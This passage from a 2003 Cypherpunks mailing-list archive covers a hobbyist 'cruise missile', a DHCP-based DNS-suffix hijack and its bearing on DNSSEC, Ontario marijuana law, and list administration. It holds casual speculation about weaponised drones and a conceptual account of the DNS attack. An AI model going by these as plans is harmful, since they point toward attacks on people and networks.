of a competition for low-cost self-guided planes.  We postulated that even 
back then it was a practical undertaking for advanced composite general 
aviation kit builders and radio control hobbyists.  To pass legal muster, 
the building and design of prototypes can be undertaken as single passenger 
experimental vehicles with the human payload replaced by other payloads 
when desired.  Save the construction plan page content before its purged.]]

A New Zealand home handyman's bid to construct a cruise missile in his shed 
has made global headlines, and the British media have dubbed him a threat 
to world security.

http://www.theage.com.au/articles/2003/06/05/1054700311550.html

http://www.aardvark.co.nz/pjet/cruise.shtml


"A Jobless Recovery is like a Breadless Sandwich."
-- Steve Schear 




From ckuethe at ualberta.ca  Sat Jun 28 19:34:43 2003
From: ckuethe at ualberta.ca (Chris Kuethe)
Date: Sat, 28 Jun 2003 20:34:43 -0600 (MDT)
Subject: Low cost cruise missile
In-Reply-To: <5.2.1.1.0.20030628140305.043ba2b0@mail.attbi.com>
References: <5.2.1.1.0.20030628140305.043ba2b0@mail.attbi.com>
Message-ID: <Pine.BSO.4.55.0306281945470.18665@pyxis.cns.ualberta.ca>

On Sat, 28 Jun 2003, Steve Schear wrote:

> A New Zealand home handyman's bid to construct a cruise missile in his shed
> has made global headlines, and the British media have dubbed him a threat
> to world security.
>
> http://www.theage.com.au/articles/2003/06/05/1054700311550.html
>
> http://www.aardvark.co.nz/pjet/cruise.shtml

the register has a fun page about cheap UAV / drone widgets...
http://www.theregister.co.uk/content/archive/29933.html

i've been to more than one lan party / geeky caffeine klatsch
where we pondered what happens when people start making flocks
of drones carrying ... unpleasant things. wondering how big or
small of an EMP you could carry around in a drone. wondering
if you could maybe set a mostly-styrofoam drone to orbit for a
few days or weeks soaking up the sun, charging its batteries
before showing up for work somewhere. a few thousand feet up,
an albatross-sized craft would scarcely be noticeable.

CK

-- 
     GDB has a 'break' feature; why doesn't it have 'fix' too?




From smb at research.att.com  Sat Jun 28 20:15:45 2003
From: smb at research.att.com (Steven M. Bellovin)
Date: Sat, 28 Jun 2003 23:15:45 -0400
Subject: Attacking networks using DHCP, DNS - probably kills DNSSEC 
Message-ID: <20030629031545.83BFA7B4D@berkshire.research.att.com>

In message <5.1.1.6.2.20030628124252.033e5600 at idiom.com>, Bill Stewart writes:
>Somebody did an interesting attack on a cable network's customers.
>They cracked the cable company's DHCP server, got it to provide a
>"Connection-specific DNS suffic" pointing to a machine they owned,
>and also told it to use their DNS server.
>This meant that when your machine wanted to look up yahoo.com,
>it would look up yahoo.com.attackersdomain.com instead.
>
>This looks like it has the ability to work around DNSSEC.
>Somebody trying to verify that they'd correctly reached yahoo.com
>would instead verify that they'd correctly reached
>yahoo.com.attackersdomain.com, which can provide all the signatures
>it needs to make this convincing.
>
>So if you're depending on DNSSEC to secure your IPSEC connection,
>do make sure your DNS server doesn't have a suffix of echelon.nsa.gov...
>

No, that's just not true of DNSsec.  DNSsec doesn't depend on the 
integrity of the connection to your DNS server; rather, the RRsets are 
digitally signed.  In other words, it works a lot like certificates, 
with a trust chain going back to a magic root key.  I'm not saying that 
there can't be problems with that model, but compromised DNS servers 
(and poisoned DNS caches) are among the major threat models it was 
designed to deal with.  If nothing else, the existence of caching DNS 
servers, which are not authoritative for the information they hand out, 
makes a transmission-based solution pretty useless.



		--Steve Bellovin, http://www.research.att.com/~smb (me)
		http://www.wilyhacker.com (2nd edition of "Firewalls" book)



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From mv at cdc.gov  Sun Jun 29 01:44:15 2003
From: mv at cdc.gov (Major Variola (ret))
Date: Sun, 29 Jun 2003 01:44:15 -0700
Subject: Low cost cruise missile
Message-ID: <3EFEA6DF.E666CE90@cdc.gov>

At 03:55 PM 6/29/03 +1200, Peter Gutmann wrote:
>Good grief, what a load of drivel!  I'm sure Bruce will be amused to
hear that
>the toys he plays with in his spare time are now a threat to world
security...
>I wonder what his pulsejet-powered go-kart would be classed as?

Its a good thing that SRL [srl.org]  is concerned with art (and pissing
off fire marshalls), not terrorism...

The German V-2 and the US Honest John missiles were both unguided.
That's 50 year old tech.

...
"Terrorists are the only true avant-garde artists because they're the
only ones who are still capable of really surprising people."
---Laurie Anderson




From bill.stewart at pobox.com  Sun Jun 29 14:19:51 2003
From: bill.stewart at pobox.com (Bill Stewart)
Date: Sun, 29 Jun 2003 14:19:51 -0700
Subject: Attacking networks using DHCP, DNS - probably kills DNSSEC 
In-Reply-To: <20030629031545.83BFA7B4D@berkshire.research.att.com>
Message-ID: <5.1.1.6.2.20030629132842.033e71d0@idiom.com>

At 11:15 PM 06/28/2003 -0400, Steven M. Bellovin wrote:
>In message <5.1.1.6.2.20030628124252.033e5600 at idiom.com>, Bill Stewart writes:
> >This looks like it has the ability to work around DNSSEC.
> >Somebody trying to verify that they'd correctly reached yahoo.com
> >would instead verify that they'd correctly reached
> >yahoo.com.attackersdomain.com, which can provide all the signatures
> >it needs to make this convincing.
> >
> >So if you're depending on DNSSEC to secure your IPSEC connection,
> >do make sure your DNS server doesn't have a suffix of echelon.nsa.gov...
>
>No, that's just not true of DNSsec.  DNSsec doesn't depend on the
>integrity of the connection to your DNS server;
>rather, the RRsets are digitally signed.
>In other words, it works a lot like certificates,
>with a trust chain going back to a magic root key.

I thought about that, and I think this is an exception,
because this attack tricks your machine into using the
trust chain yahoo.com.attackersdomain.com., which it controls,
instead of the trust chain yahoo.com., which DNSSEC protects adequately.
So you're getting a trustable answer to the wrong query.

I'm less sure of the implementation issues of the
"Connection-specific DNS suffix", and I've seen conflicting documentation.
If the resolver looks up "domain.suffix" before "domain",
then the attacker's DNS doesn't need to control the DNS access,
and only needs to provide the attacker's certificates,
but if the resolver looks up "domain" before "domain.suffix",
then the attacker also needs to make sure that the lookup of "domain" fails,
which is most easily done by telling the DHCP client to use
the attacker's DNS server along with telling it the suffix.
(That doesn't add any extra work to the attack, but does make it
a bit easier to trace the attacker after the fact;
if you're not replacing the attacker's DNS server entry,
then all you need is a legitimate-looking server for
"*.attackersdomain.com".  In either case, somebody who can
pull off this kind of an attack probably uses a compromised machine
to run the DNS server on anyway.)

>I'm not saying that
>there can't be problems with that model, but compromised DNS servers
>(and poisoned DNS caches) are among the major threat models it was
>designed to deal with.  If nothing else, the existence of caching DNS
>servers, which are not authoritative for the information they hand out,
>makes a transmission-based solution pretty useless.

DNSSEC seems to do a pretty thorough job of making sure that
if you look up the correct domain name, you'll get the correct answer,
in spite of attackers trying to prevent it.
But this attack tricks you into looking up the wrong domain name,
and DNSSEC makes sure that you get the correct answer for the wrong name,
which isn't the result you want.




From cypherpunks at salvagingelectrons.com  Sun Jun 29 12:21:44 2003
From: cypherpunks at salvagingelectrons.com (Tim Meehan)
Date: Sun, 29 Jun 2003 15:21:44 -0400
Subject: Legal marijuana in Ontario, Canada tries courts, police
Message-ID: <70fufvskmvclr326elcaopbtg5qmfahvk4@4ax.com>

http://www.mapinc.org/cancom/2870ddf8-d939-49a0-babb-a629a4384311

Pubdate: Sunday, June 29, 2003
Source: Ottawa Citizen (CN ON)
Contact: letters at thecitizen.southam.ca
Website: http://www.canada.com/ottawa/ottawacitizen/
Author: Jake Rupert

Messy marijuana law tries courts, police

Right now, there is no law against possessing marijuana for personal use in
the province, due to a couple of recent court rulings. Police officers,
lawyers and judges are asking what happens next.

Jake Rupert
The Ottawa Citizen

If you're confused about whether it is legal or illegal to possess marijuana
in Ontario, you're not alone. And you have some pretty good company.

It seems the answer to the simple question of whether possession of
marijuana is legal right now depends on who you ask.

Police and federal Crown attorneys will tell you that, in their opinion,
it's still illegal to possess marijuana. On the other hand, judges and
defence lawyers will tell you there is no law against having marijuana for
personal use.

The fact is that, right now, in law and in practice, there is no law against
possessing marijuana for personal use in the province, due to a couple of
recent court rulings.

The proof can be seen in our courts these days as judges in Ottawa and
across Ontario are simply dismissing the charges against people because the
charges have no legal merit.

Justice Bruce MacPhee, Eastern Ontario's regional senior Ontario Court
judge, said he quashed three of them in the week of June 16-20.

"In my view, the charge of simple possession of marijuana, less than 30
grams, is no longer capable of finding its way onto a proper information."

Barring a drastic move by the federal government -- which isn't going to
happen anytime soon -- there will be no law against possession at least
until the Ontario Court of Appeal rules on the case that nullified the law.

There is no date for that case to be heard at the province's highest court.
Brian McAllister, the Windsor lawyer who brought down the law, thinks the
hearing will happen in late July or early August. A ruling will follow
sometime after that. "As it stands, it looks like we were heading for a
summer of unregulated marijuana use in Ontario," said Mr. McAllister. "We're
actually in the middle of an interesting social experiment. It will be
interesting to see what happens. Will people use marijuana more? I don't
know.

"Maybe we should look at the results to see what direction we will take on
the issue in the future."

Things got to this point because of a federal law, coupled with a series of
court rulings based on the law.

In the early to mid-1990s, social activists began clamouring for a law
allowing people suffering from various ailments to smoke marijuana because
it helped ease their pain and suffering. At the same time, doctors began
writing prescriptions for marijuana.

In June 1999, then-health minister Allan Rock started granting exemptions to
people for medicinal use. However, these people still had to obtain the drug
through illegal connections. The exemptions were also being granted at the
minister's discretion.

In July 2000, the Ontario Court of Appeal struck down the section of the
Controlled Drugs and Substances Act prohibiting possession of less than 30
grams of marijuana. In the ruling, the court agreed that the possession law
violated the federal charter rights of Terry Parker, a man suffering from
severe epilepsy who'd been arrested twice by Toronto police for cultivation
and possession of the drug.

The court found that if the government wasn't going to make a legal supply
of the drug available, it couldn't make it a crime for people to grow it and
possess it themselves.

The appeal court gave the federal government a year to replace the
possession law -- or it would cease to exist.

Instead of filling the void created by the decision, the government came up
with marijuana medical-access regulations. Still, this program didn't
provide a legal supply of the drug to people with minister's exemptions.

The bomb dropped on Jan. 2 this year when Mr. McAllister successfully argued
to Ontario Court Justice Douglas Phillips that a charge of marijuana
possession against a 17-year-old client in Windsor should be thrown out
because the government hadn't replaced the law that was struck down by the
appeals court, and, therefore, according to the July 2000 appeal court
ruling, the law no longer existed. The judge agreed the law prohibiting
possession was legal no more and tossed out the charge. The Crown appealed.

Hard on the heels of this decision, after hearing a month of arguments last
fall, Ontario Superior Court Justice Sydney Lederman declared the
government's medicinal-marijuana program unconstitutional because it didn't
provide a legal source of marijuana for sick people. The Crown appealed.

In the spring, the Crown's appeal of Judge Phillips' ruling in the Windsor
case was heard, and, on May 16, was rejected by Ontario Superior Court
Justice Steven Rogin. The law didn't exist anymore, Judge Rogin found. The
Crown is appealing this ruling to the province's highest court.

But because Judge Rogin was sitting as an appeals court judge, the ruling is
binding on every other lower court in Ontario -- which means all the courts
that hear cases of simple possession.

"This is a binding ruling," Judge MacPhee said. "Judges have discretion, but
most are following the Superior Court's direction that the law is
nullified."

As a last-ditch effort, the Crown applied to the Ontario Court of Appeal for
an order setting aside this precedent until the appeal is heard. Earlier
this month, this failed when a judge at the court ruled that she simply
didn't have the authority to set aside the ruling.

The situation is giving law-enforcement officials fits -- in large part
because there is currently no law to enforce. Across the province, after
consultation with lawyers, police chiefs have instructed their officers not
to lay any new charges of simple possession of marijuana.

However, in many jurisdictions, including Ottawa, officers have been
instructed to continue doing investigations -- including seizing cannabis,
submitting exhibits and fully documenting the investigation and seizure with
an eye to laying charges later if the appeals court overturns Judge Rogin's
decision or the federal government changes the law.

This process has some potential legal pitfalls. First off, when embarking on
any investigation including search and seizure, police officers must have
reasonable and probable grounds to assume that a law has been broken.

However, there is currently no law against possession to break, according to
the court rulings.

This means police are acting on shaky legal ground if they stop people,
question them, search them, seize drugs, or even ask a person their name
when they think somebody might be in possession of marijuana.

"This is a very tough situation for police, and there's a potential for some
pretty nasty situations," Mr. McAllister said. "I worry there will be a
person who refuses to co-operate with an officer who is intent on taking
marijuana from them.

"It's well-established in criminal law that you have the right to resist a
wrongful arrest."

The second problem with police continuing to investigate marijuana
possession is what will happen if the Ontario Court of Appeal upholds Judge
Rogin's decision. Police will then be in a situation of having seized
people's property without the authority to do so.

"They're running a risk with this practice," said legal scholar David
Paciocco. "They're gambling that the Court of Appeal will find Judge Rogin's
decision was wrong, and the law will come back. If it doesn't, they will be
in a position where they've seized people's private property, and that could
have legal ramifications."

In a statement, Ottawa police Chief Vince Bevan said the situation has put
the police in a difficult position and is undermining public confidence in
the integrity of the criminal justice system.

"These are matters of law and are of great import to the police and to the
community at large," he said. "I call upon the government of Canada to take
immediate action to resolve this urgent matter."

Recently, the federal government introduced legislation that would
decriminalize marijuana possession. The legislation is being debated by the
justice committee, and with Parliament not sitting until the fall, it won't
be passed anytime soon. Furthermore, the legislation would only
decriminalize possession -- it doesn't propose legalizing marijuana. This
means people caught with the drug would be fined instead of charged with a
criminal offence.

However, the Ontario court rulings legalize marijuana. So even if the bill
is passed sometime in the future, it falls short of remedying the situation
in Ontario. And it all adds up to a messy situation for federal Crown
attorneys in Ontario who prosecute drug offences.

Jim Leising, the man who oversees federal criminal prosecutions in the
province, says he's been instructing his assistants not to take any cases to
trial until the situation is sorted out.

Instead, they've been asking for adjournments or stays of proceedings.

"We're trying to exercise our discretion as even-handedly as we can," he
said. "In our opinion, there's a valid prohibition on the books against
possession of marijuana, but in the face of that, there's a binding court
decision saying it's nullified."

The Ottawa-area's head of federal prosecutions went even further when he
directed stays of proceedings against all people charged with the crime in
his jurisdiction. Eugene Williams said it was the right thing to do because
the prohibition against the crime is effectively gone.




From pgut001 at cs.auckland.ac.nz  Sat Jun 28 20:55:14 2003
From: pgut001 at cs.auckland.ac.nz (Peter Gutmann)
Date: Sun, 29 Jun 2003 15:55:14 +1200
Subject: Low cost cruise missile
Message-ID: <200306290355.h5T3tE605850@medusa01.cs.auckland.ac.nz>

Steve Schear <schear at attbi.com> writes:

>A New Zealand home handyman's bid to construct a cruise missile in his shed
>has made global headlines, and the British media have dubbed him a threat to
>world security.
>
>http://www.theage.com.au/articles/2003/06/05/1054700311550.html

Good grief, what a load of drivel!  I'm sure Bruce will be amused to hear that
the toys he plays with in his spare time are now a threat to world security...
I wonder what his pulsejet-powered go-kart would be classed as?  The
journalist obviously went to a lot of trouble phoning various agencies and
people for comment, but didn't spend 10 seconds with google to see that these
things are commonly available all over the world.

(I think Bruce may have, to some extent, shot himself in the foot a bit by
 presenting it the way he has, although given his talent for self-promotion
 I'm sure it wasn't accidental :-).  Maybe he'll get his funding now.  In any
 case anyone can buy a standard commercially-built jet engine or build their
 own from one of the zillion web pages devoted to this topic and have as much
 of a "cruise missile" as he has.  The guidance system is left as an exercise
 for the reader).

Must have been a really slow news day...

Peter.




From rah at shipwright.com  Sun Jun 29 19:12:40 2003
From: rah at shipwright.com (R. A. Hettinga)
Date: Sun, 29 Jun 2003 19:12:40 -0700
Subject: Is Priceline Founder Walker's Plan To Police Sites Genius or
  Just Goofy?
Message-ID: <a060018b7bb254cc5bff9@[209.86.6.192]>

<http://online.wsj.com/article_print/0,,SB10569205648909100,00.html>

The
Wall Street Journal

June 30, 2003 

PORTALS 
By LEE GOMES 



Is Priceline
Founder Walker's Plan 
To Police Sites Genius or Just Goofy? 

Jay Walker,
who made a fortune with Priceline , the name-your-price airline ticket
company, describes himself less as a businessman than an inventor, using
the Internet to rethink how things work. Having helped remake the way the
country buys plane tickets, Mr. Walker is now working on changing the way
it fights terrorists. 

His USHomeGuard, a for-profit company that Mr.
Walker and associates are now talking up in Washington and elsewhere, is
one of those ideas that will either leave you applauding its cleverness and
ambition, or cringing at its kookiness and opportunism. 

I think Mr.
Walker is on to something, though not in quite the same way he probably
imagines. 

As do most other terrorism entrepreneurs, Mr. Walker begins by
noting that there are tens of thousands of pieces of "unprotected
infrastructure" in the country: power plants, gas tanks, petroleum
refineries and the like. 

USHomeGuard would point Webcams at all of them.
Those photographs would then be distributed over the Internet to the home
PCs of Americans who have signed up to earn money -- an estimated $10 an
hour -- working as what Mr. Walker calls "citizen spotters." Most of us
would just call them security guards. 

These spotters would be shown still
pictures, one after another, selected randomly from somewhere around the
country. If everything in the picture looks OK, they'd press the equivalent
of an All Clear button. If something seems out of the ordinary -- a vehicle
is parked where it isn't supposed to be -- they'd press a second button.


Mr. Walker explains that since these are places no one is supposed to be,
it would be easy to detect an interloper. 

When a spotter spots a
potential problem, a central facility gets notified. USHomeGuard employees
would then be able to talk with the intruder over a loudspeaker. If they
weren't satisfied with his answers, they'd call the police. 

To make sure
the citizen spotters were paying attention, every now and then, the system
would send out a staged photo, purporting to show some sort of intrusion.
Spotters would be required to recognize these as potential problems -- or
else be briefly suspended from duty. 

It's easy to find flaws in all this.
The bad guys in USHomeGuard's publicity material skulk around otherwise
empty sites carrying satchels. In real life, they tend to drive trucks with
bombs or board planes carrying box cutters. 

It's also unclear how someone
not intimately familiar with a facility would know that the fellow in the
truck parked next to a big gas tank, who can't hear the loudspeaker because
of a passing rainstorm, isn't a terrorist, but rather Al, the maintenance
guy, on his weekly rounds. 

Mr. Walker says he's come up with a highly
effective way of preventing terrorism. It seems to me that he has come up
with a minimally effective way of preventing a bunch of high-school kids
from parking their van by the reservoir and getting stoned. And a likely
side effect is an epidemic of false alarms, like the ones that happen with
all those high-tech security systems in Beverly Hills. 

What I think Mr.
Walker has done right, though, is the manner in which he has again
recognized the transformational nature of the Internet, just as he did with
Priceline. I can't imagine a remote monitoring system like USHomeGuard
being used to protect anything truly critical. But for second-tier locales
-- the infrastructure equivalents of the unsold airplane tickets that
Priceline sells -- why not? Maybe one day soon, that reservoir will indeed
be guarded by someone at a PC far away. 

But USHomeGuard isn't taking the
economic and technical logic of the Internet to its logical conclusions. As
Americans by the hundreds of thousands are learning, if a job can be done
at a keyboard and monitor, chances are good it can be done anywhere in the
world. 

In the publicity material for USHomeGuard, the citizen spotters
look just like folks you see in a Charles Schwab brochure: earnest
middle-class types wearing Lands' End sweaters, absorbed in their Dells.


But there's no reason to pay citizen spotters even $10 an hour when the
work can be done for a tenth or twentieth of that overseas. And I mean
seriously overseas: the polite English-speaking programmers and help desk
attendants of Bangalore, India, are vastly overqualified for this kind of
work. You don't need English skills, or many skills at all, to know whether
a truck is, or is not, in a TV picture. And they are no more or less
handicapped at recognizing Al, the maintenance guy. Also, the safeguards
used to prevent snoozing spotters in the U.S. would work equally well
abroad. 

The real value of Mr. Walker's proposal is in the way it reminds
us about the easy exportability of labor in the 21st century, if not for
USHomeGuard, then eventually for someone else. 

How will we continue to
pay for all the infrastructure Mr. Walker wants to guard when the earning
power of Americans keeps heading overseas via the Internet? 

Now there's a
problem I'd like to see an Internet entrepreneur try to crack. 
* Send your
comments to lee.gomes at wsj.com 1, and check back on Friday for some selected
letters at WSJ.com/Portals 2.
 



-- 
-----------------
R. A. Hettinga <mailto: rah at ibuc.com>
The Internet Bearer Underwriting Corporation <http://www.ibuc.com/>
44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'




From bill.stewart at pobox.com  Sun Jun 29 19:17:18 2003
From: bill.stewart at pobox.com (Bill Stewart)
Date: Sun, 29 Jun 2003 19:17:18 -0700
Subject: Attacking networks using DHCP, DNS - probably kills DNSSEC
In-Reply-To: <iluof0gh7vy.fsf@latte.josefsson.org>
References: <5.1.1.6.2.20030629132842.033e71d0@idiom.com>
 <5.1.1.6.2.20030629132842.033e71d0@idiom.com>
Message-ID: <5.1.1.6.2.20030629152707.026516d0@idiom.com>

At 11:49 PM 06/29/2003 +0200, Simon Josefsson wrote:
>No, I believe only one of the following situations can occur:
>
>* Your laptop see and uses the name "yahoo.com", and the DNS server
>   translate them into yahoo.com.attackersdomain.com.  If your laptop
>   knows the DNSSEC root key, the attacker cannot spoof yahoo.com since
>   it doesn't know the yahoo.com key.  This attack is essentially a
>   man-in-the-middle attack between you and your recursive DNS server.

That doesn't happen.  (Well, it could, but as you point out,
it's not a successful attack methodology, because DNSSEC was designed
to correctly take care of this.)

>* Your laptop see and uses the name "yahoo.com.attackersdomain.com".
>   You may be able to verify this using your DNSSEC root key, if the
>   attackersdomain.com people have set up DNSSEC for their spoofed
>   entries, but unless you are using bad software or judgment, you will
>   not confuse this for the real "yahoo.com".

The DNS suffix business is designed so that your laptop tries
to use "yahoo.com.attackersdomain.com", either before "yahoo.com"
or after unsuccessfully trying "yahoo.com", depending on implementation.
It may be bad judgement, but it's designed to support intranet sites
for domains that want their web browsers and email to let you
refer to "marketing" as opposed to "marketing.webservers.example.com",
and Netscape-derived browsers support it as well as IE.

>Of course, everything fails if you ALSO get your DNSSEC root key from
>the DHCP server, but in this case you shouldn't expect to be secure.
>I wouldn't be surprised if some people suggest pushing the DNSSEC root
>key via DHCP though, because alas, getting the right key into the
>laptop in the first place is a difficult problem.

I agree with you and Steve that this would be a Really Bad Idea.
The only way to make it secure is to use an authenticated DHCP,
which means you have to put authentication keys in somehow,
plus you need a reasonable response for handling authentication failures,
which means you need a user interface as well.
It's also the wrong scope, since the DNSSEC is global information,
not connection-oriented information, so it's not really DHCP's job.





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From cpunk at lne.com  Sun Jun 29 20:00:00 2003
From: cpunk at lne.com (cpunk at lne.com)
Date: Sun, 29 Jun 2003 20:00:00 -0700
Subject: Cypherpunks List Info
Message-ID: <200306300300.h5U3004N017386@gw.lne.com>

Cypherpunks Mailing List Information

Last updated: Sep 12, 2002

This message is also available at http://www.lne.com/cpunk

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one node of the list and thereby participate on the full list.  Each node
(called a "Cypherpunks Distributed Remailer", although they are not
related to anonymous remailers) exchanges messages with the other nodes
in addition to sending messages to its subscribers.  A message posted
to one node will be received by the list subscribers on the other nodes,
and vice-versa.

1. Filtering

The various CDRs follow different policies on filtering spam and to a
lesser extent on modifying messages that go to/from their subscribers.
Filtering is done, on nodes that do it, to reduce the huge amount of
spam that the cypherpunks list is subjected to.

There are three basic flavors of filtering CDRs: "raw", which send all
messages to their subscribers. "cooked" CDRs try to eliminate the spam
on that's on the regular list by automatically sending only messages
that are from cypherpunks list subscribers (on any CDR) or people who
are replying to list messages.  Finally there are moderated lists, where
a human moderator decides which messages from the raw list to pass on
to subscribers.

2. Message Modification

Message modification policy indicates what modifications, if any, beyond
what is needed to operate the CDR are done (most CDRs add a tracking
X-loop header on mail posted to their subscribers to prevent mail loops).
Message modification usually happens on mail going in or out to each CDR's
subscribers. CDRs should not modify mail that they pass from one CDR
to the next, but some of them do, and others undo those modifications.

3. Privacy

Privacy policy indicates if the list will allow anyone ("open"), or only
list members, or no one ("private") , to retrieve the subscribers list.
Note that if you post, being on a "private" list doesn't mean much,
since your address is now out there.   It's really only useful for
keeping spammers from harvesting addresses from the list software.

Digest mode indicates that the CDR supports digest mode, which is where
the posts are batched up into a few large emails.  Nodes that support
only digest mode are noted.

4. Anonymous posting

Cypherpunks encourages anonymous posting.

You can use an anonymous remailer:
http://www.andrebacard.com/remail.html
http://anon.efga.org/Remailers
http://www.gilc.org/speech/anonymous/remailer.html

or you can send posts to the list via cpunks_anon at einstein.ssz.com and
your mail's headers will be stripped before posting.  Note that this
doesn't provide complete anonymity since the receiving site will still
have log file entries showing the source of the mail (or you have to
trust that they delete them).  You also will be 'sharing' a reputation
with the other entities that post through this alias, and some of them
are spammers, so some subscribers will have this alias filtered.

5. Unsubscribing

Unsubscribing from the cypherpunks list:
Since the list is run from a number of different CDRs, you have to
figure out which CDR you are subscribed to.  If you don't remember and
can't figure it out from the mail headers (hint: the top Received: line
should tell you), the easiest way to unsubscribe is to send unsubscribe
messages to all the CDRs listed below.

How to figure out which CDR you are subscribed to:

Get your mail client to show all the headers (Microsoft calls this
"internet headers").  Look for the Sender or X-loop headers.  The Sender
will say something like "Sender: owner-cypherpunks at lne.com".  The X-loop
line will say something like "X-Loop: cypherpunks at lne.com".  Both of
these inticate that you are subscribed to the lne.com CDR.   If you were
subscribed to the algebra CDR, they would have algebra.com in them.
Once you have figured out which CDR you're subscribed to, look in the
table below to find that CDRs unsubscribe instructions.

6. Lunatics, spammers and nut-cases

"I'm subscribed to a filtering CDR yet I still see lots of junk postings".
At this writing there are a few sociopaths on the cypherpunks list who
are abusing the lists openness by dumping reams of propaganda on the list.
The distinction between a spammer and a subscriber is nearly always very
clear, but the dictinction between a subscriber who is abusing the list
by posting reams of propaganda and a subscriber who is making lots of
controversial posts is not clear.  Therefore, we tolerate the crap.
Subscribers with a low crap tolerance should check out mail filters.
Procmail is a good one, although it works on Unix and Unix-like systems
only.  Eudora also has a capacity for filtering mail, as do many other
mail readers.  An example procmail recipie is below, you will of
course want to make your own decisions on which (ab)users to filter.

# mailing lists:
# filter all cypherpunks mail into its own cypherspool folder, discarding
# mail from loons.  All CDRs set their From: line to 'owner-cypherpunks'.
# /dev/null is unix for the trash can.
:0
* ^From.*owner-cypherpunks at .*
{
    :0:
    * (^From:.*ravage at ssz\.com.*|\
    ^From:.*jchoate at dev.tivoli.com.*|\
    ^From:.*mattd at useoz.com|\
    ^From:.*proffr11 at bigpond.com|\
    ^From:.*jei at cc.hut.fi)
	/dev/null

    :0:
    cypherspool
}


7. List of current CDRs


All commands are sent in the body of mail unless otherwise noted.
---------------------------------------------------------------------------
Algebra:

Operator:
Subscription:     "subscribe cypherpunks" to majordomo at algebra.com
Unsubscription:   "unsubscribe cypherpunks" to majordomo at algebra.com
Help:             "help cypherpunks" to majordomo at algebra.com
Posting address:  cypherpunks at algebra.com
Filtering policy: raw
Message Modification policy:  no modification
Privacy policy: ???
Info:   ???

---------------------------------------------------------------------------
CCC:

Operator:         drt at un.bewaff.net
Subscription:     "subscribe [password of your choice]" to 
				       cypherpunks-request at koeln.ccc.de
Unsubscription:   "unsubscribe <password>" to cypherpunks-request at koeln.ccc.de
Help:             "help" to to cypherpunks-request at koeln.ccc.de
Web site:         http://koeln.ccc.de/mailman/listinfo/cypherpunks
Posting address:  cypherpunks at koeln.ccc.de
Filtering policy: This specific node drops messages bigger than 32k and
                  every message with more than 17 recipients or just a line
                  containing "subscribe" or "unsubscribe" in the subject. 
Digest mode:      this node is digest-only
NNTP:             news://koeln.ccc.de/cbone.ml.cypherpunks
Message Modification policy:  no modification
Privacy policy: ???

---------------------------------------------------------------------------
Infonex:

Subscription:     "subscribe cypherpunks" to majordomo at infonex.com
Unsubscription:   "unsubscribe cypherpunks" to majordomo at infonex.com
Help:             "help cypherpunks" to majordomo at infonex.com
Posting address:  cypherpunks at infonex.com
Filtering policy: raw
Message Modification policy:  no modification
Privacy policy: ???

---------------------------------------------------------------------------
Lne:

Subscription:     "subscribe cypherpunks" to majordomo at lne.com
Unsubscription:   "unsubscribe cypherpunks" to majordomo at lne.com
Help:             "help cypherpunks" to majordomo at lne.com
Posting address:  cypherpunks at lne.com
Filtering policy: cooked 
 Posts from all CDR subscribers & replies to threads go to lne CDR subscribers.
 All posts from other CDRs are forwarded to other CDRs unmodified.
Message Modification policy:  
 1. messages are demimed (MIME attachments removed) when posted 
  through lne or received by lne CDR subscribers
 2. leading "CDR:" in subject line removed
 3. "Reply-to:" removed
Privacy policy: private
Info: http://www.lne.com/cpunk; "info cypherpunks" to majordomo at lne.com
Archive: http://archives.abditum.com/cypherpunks/index.html
(thanks to Steve Furlong and Len Sassaman)

---------------------------------------------------------------------------
Minder:

Subscription:     "subscribe cypherpunks" to majordomo at minder.net
Unsubscription:   "unsubscribe cypherpunks" to majordomo at minder.net
Help:             "help" to majordomo at minder.net
Posting address:  cypherpunks at minder.net
Filtering policy: raw
Message Modification policy:  no modification
Privacy policy: private
Info:           send mail to cypherpunks-info at minder.net


---------------------------------------------------------------------------
Openpgp:

[openpgp seems to have dropped off the end of the world-- it
doesn't return anything from sending help queries.  Ericm, 8/7/01]

Subscription:     "subscribe cypherpunks" to listproc at openpgp.net
Unsubscription:   "unsubscribe cypherpunks" to listproc at openpgp.net
Help:             "help" to listproc at openpgp.net
Posting address:  cypherpunks at openpgp.net
Filtering policy: raw
Message Modification policy:  no modification
Privacy policy: ???

---------------------------------------------------------------------------
Ssz:

Subscription:     "subscribe cypherpunks" to majordomo at ssz.com
Unsubscription:   "unsubscribe cypherpunks" to majordomo at ssz.com
Help:             "help cypherpunks" to majordomo at ssz.com
Posting address:  cypherpunks at ssz.com
Filtering policy: raw
Message Modification policy: 
  Subject line prepended with "CDR:"
  Reply-to cypherpunks at ssz.com added.
Privacy policy: open
Info:  http://www.ssz.com/cdr/

---------------------------------------------------------------------------
Sunder:

Subscription:     "subscribe" to sunder at sunder.net
Unsubscription:   "unsubscribe" to sunder at sunder.net
Help:             "help" to sunder at sunder.net
Posting address:  sunder at sunder.net
Filtering policy: moderated
Message Modification policy:  ???
Privacy policy:  ???
Info: ???


---------------------------------------------------------------------------
Pro-ns:

Subscription:     "subscribe cypherpunks" to majordomo at pro-ns.net
Unsubscription:   "unsubscribe cypherpunks" to majordomo at pro-ns.net
Help:             "help cypherpunks" to majordomo at pro-ns.net
Posting address:  cypherpunks at pro-ns.net
Filtering policy: cooked
 Posts from all CDR subscribers & replies to threads go to local CDR
   subscribers.
 All posts from other CDRs are forwarded to other CDRs unmodified.   
Message Modification policy:
 1. leading "CDR:" in subject line removed
 2. "Reply-to:" removed
Privacy policy: private
Info: http://www.pro-ns.net/cpunk




From smb at research.att.com  Sun Jun 29 18:46:49 2003
From: smb at research.att.com (Steven M. Bellovin)
Date: Sun, 29 Jun 2003 21:46:49 -0400
Subject: Attacking networks using DHCP, DNS - probably kills DNSSEC 
Message-ID: <20030630014650.ED1E57B4D@berkshire.research.att.com>

In message <iluof0gh7vy.fsf at latte.josefsson.org>, Simon Josefsson writes:

>
>Of course, everything fails if you ALSO get your DNSSEC root key from
>the DHCP server, but in this case you shouldn't expect to be secure.
>I wouldn't be surprised if some people suggest pushing the DNSSEC root
>key via DHCP though, because alas, getting the right key into the
>laptop in the first place is a difficult problem.
>

I can pretty much guarantee that the IETF will never standardize that, 
except possibly in conjunction with authenticated dhcp.

		--Steve Bellovin, http://www.research.att.com/~smb (me)
		http://www.wilyhacker.com (2nd edition of "Firewalls" book)




From measl at mfn.org  Sun Jun 29 20:41:40 2003
From: measl at mfn.org (J.A. Terranson)
Date: Sun, 29 Jun 2003 22:41:40 -0500 (CDT)
